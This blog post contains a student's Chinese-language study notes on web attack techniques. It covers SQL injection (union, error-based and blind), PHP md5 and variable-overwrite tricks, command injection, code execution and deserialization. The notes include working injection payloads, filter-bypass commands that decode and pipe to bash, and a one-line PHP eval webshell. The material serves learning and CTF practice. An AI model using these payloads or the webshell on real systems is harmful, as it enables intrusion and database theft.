寒假学习1之各类注入与其他


categories:-web知识


数据库基础:库->表->列->行;SQL是用于访问和处理数据库的标准的计算机语言

SQL注入产生条件:用户控制了SQL语句的一部分,用户的输入不再是一个输入参数,而成为了符合语法的SQL

​ 语句

联合查询注入:输入id时不会进行检查,直接用于sql查询时可以在输入id时进行sql语句拼接来入侵

​ 1.判断是字符型还是数字型:省流–字符型’¥id’,数字型¥id

​ 1‘ and 1=2’失败 1‘ or 1=1’成功—-字符型

​ 2.猜解SQL查询语句中的字段数(数据库自行查询的字段数):1‘ or 1=1 order by 1/2/3……#-

​ —#用于注释后方的’

​ 3.确定显示的字段顺序(数据库查询的字段可能不会显示):1‘ union select 1,2#

​ 4.获取当前数据库名:1’ union select 1,database()#

​ 5.获取数据库表名:group_concat–用于拼接结果,方便些

​ information_schema:存放其他数据库信息的数据库

​ 1‘ union select 1,group_concat(table_name)from information_schema.tables where

​ table_schema=database() #

​ 6.获取表中的字段名:1’ union select 1,group_concat(column_name) from information_schema.columns where

​ table_name=’查询到的结果’

​ 注:如何让第一行查询删去:1‘ and 1=2 union select……—-“union select”前不成立即查询不出来

​ 如果group_concat被过滤且只能返回一条数据,则使用limit:……limit 0,1

​ 7.查询数据:1’ union select group_concat(?,?,……) from ? #

报错注入: 利用数据库的某些机制,人为制造错误条件,使查询结果能够出现在错误信息中

​ updatexml():updatexml(XML_document,XPath_string,new_value)

​ XML_document是string格式,为XML文档对象的名称,文中为Doc

​ XPath_string:Xpath格式的字符串

​ new_value,String格式,替换查找到的符合条件的数据

​ extractvalue():extractvalue(XML_documnet,Xpath_string)

​ 将Xpath_value替换为concat(0x7e,(select user()/database()……),0x7e)即可在报错中获取数据库信息

​ 注:SQL中0x(数字)代表一种字符串,如0x7e代表~

布尔盲注:即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程成为盲注

两大要点:一.字符串的截取

​ 1.substr():substr(str,pos,len)–substr((select database()),1,1)

​ substr(str,pos)–截取从pos位置开始到最后的所有str字符串(不常用)

​ 注:若逗号被过滤,可这样:substr((select database())from 1 for 1)

​ mid与substr几乎一致,不过mid必须三个参数

​ 2.right():right(str,len)从右边开始截取str的len位

​ 缺点:一位一位太过麻烦,而且可能碰到奇怪的符号

​ 3.搭配ascii()的right():ascii(right(str,len))

​ 巨大优点:转为数字能进行算数运算与比较(可以二分查找),且能避免特殊符号干扰

​ 注:使用ord同名函数应对ascii过滤

​ 4.left():与right一样,但与ascii无法搭配,运用reverse(用于翻转)解决

​ :ascii(reverse(left(‘abc’,2)))

​ 5.trim():过滤指定字符串,最常用于移除字首或字尾空白

​ 此处可以移除特定字符:trim(leading ‘a’ from ‘abcd’)返回bcd

​ 若移除的字符不为字符串首或尾字符,则原字符串原样返回

​ 因此用法:trim(leading ?from ‘abcd’)=trim(leading ?+1 from ‘abcd’)

​ trim(leading ?+1from ‘abcd’)=trim(leading ?+2 from ‘abcd’)

​ 将结果锁死在?或?+1再进行寻找,之后可以继续下去

​ trim(leading a?from ‘abcd’)=trim(leading a?+1 from ‘abcd’)

​ 6.regexp:select ?regexp “^ascav”/“asfcav”(^代表匹配除给定字符外的字符,没有……代表匹配给定字符)

​ 注:不严格区分大小写,想区分则在select后加binary

​ 7.between:select a between b and c—-筛选>=b并且<=c的数据,不存在则返回0

​ select a not between b and c—-筛选<b并且>c的数据,不存在则返回0

​ 8.in: select a in(b,c,d,e,……)查询括号内有无a

​ 依然是大小写不敏感,也有not in

​ 9.异或:^—-where id=1‘^(substr()=’a‘)^’1

​ 二.比较

​ 1.=和>,<不再强调

​ 2.like:泛泛查询:select database() like“asfefs%”

​ 用%表示任意字符,如果没用%则like字句与=的效果一样

延时盲注:条件表达式与sleep()搭配即可

​ if(a,b,c)a对返回b,不对返回c

​ case a when b then c else d end a与b是否相等,对则返回c,不对则返回d

​ sleep(x):睡眠x秒

​ if对则sleep,不对则返回1,查看是否睡眠

报错盲注:正确就OK,不正确就ERROR,没有其他变化的情况

​ if(a,执行某个函数执行过程中会报错,0)—-a即为布尔盲注的基本过程

​ 几个常用函数:exp(x)—-e的x次方,x足够大时报错

​ cot(0)—-无限,报错

md5绕过:¥a!=¥b;

​ (1)md5(¥a)==md5(¥b)

​ 在php中0e视为科学计数法,因此寻找两个本身不相同,md5加密后开头有0e的字符串(注:0e后不能有字母,否则失效)

https://blog.csdn.net/qq_38603541/article/details/97108663其中有特定字符串供给使用

​ (2)md5(¥a)===md5(¥b)

​ 利用数组来绕过,上传数组会得到null,null===null通过验证

​ url:?a[]=…&a[]=…

​ (string)¥a!=(string)¥b;md5(¥a)===md5(¥b)

变量覆盖:后续代码涉及变量并做了危险的操作

​ extract():将数组中键名作为变量名,键值作为变量值

​ parse_str():把查询字符串解析到变量中—-parse_str(“name=Bill&age=60”);echo ¥name;echo ¥age;

命令执行:当应用需要调用一些外部程序去处理内容时,就会用到一些执行系统命令的函数,当用户可以控制命令执行中的参数时,便可

​ 注入恶意系统命令到正常命令中,造成命令执行攻击。

​ r:可读取–4;w:可编辑–2;x:可执行–1

​ r权限决定用户是否可以ls,x权限决定用户是否可以cd

​ 程序过滤不严谨,导致用户可以将代码注入并执行:eval(),assert(),preg_replace(),call——user——func()

​ 对于执行命令的函数,参数过滤不严谨,导致直接命令执行:system(),exec(),shell_exec(),passthru(),

​ pctnl_exec(),popen(),proc_open()

​ 注:反引号是shell_exec()的别名

联合执行(接命令执行):1.分号:a;b;c—-a成功与否不影响b,c的执行

​ 2.&&:a&&b&&c—-前一个命令成功结束时,下一个命令才会运行

​ 3.a|b—-前一个命令的结果作为后一个命令的参数

​ 4.换行符:%0a,%0d

绕过过滤(linux):1.过滤空格:¥IFS ¥{IFS} ¥IFS¥9 < <> {cat,flag.php}->用逗号实现空格功能

​ 2.过滤关键字:(1)反斜线绕过:ca\t,fla\g.php

​ (2)两个单引号绕过:fla’‘g.php

​ (3)通配符绕过:fla?.php fla*.php fla{a..z}.php fla[a-z].php

​ (4)base64编码绕过:echo“avsddvsrgwegsef”|base64 -d| bash

​ (5)hex编码绕过:“2353463523234235235” | xxd -r -p | bash

​ (6)内联执行:使用反引号,先执行反引号里的内容,在将输出结果放在外面执行别的语句

​ (7)变量:a=fl;b=ag;cat ¥a¥b.php

代码执行:eval()函数—-<?php eval(¥_POST[0]);?>

无字母数字RCE

反序列化:序列化是将变量转换为可保存或传输的字符串的过程;实现的函数是serialize()

​ 反序列化是将这个字符串再转化成原来的变量使用,就是序列化的逆过程,实现函数是unserialize()

​ 序列化数据格式:O:长度:class 名字:元素个数:{元素1;值1;元素2;值2}

​ 对于元素:字符串—-s:length:value;

​ 整数—-i:value;

​ 布尔—-b:value;

​ 空值—-N;

​ 浮点数:d;value;

​ 反序列化漏洞:也叫对象注入,当程序在进行反序列化时,会自动调用一些函数,但是如果传入函数的参数可以被用户控制的

​ 话,用户可以输入一些恶意代码到函数中,从而导致漏洞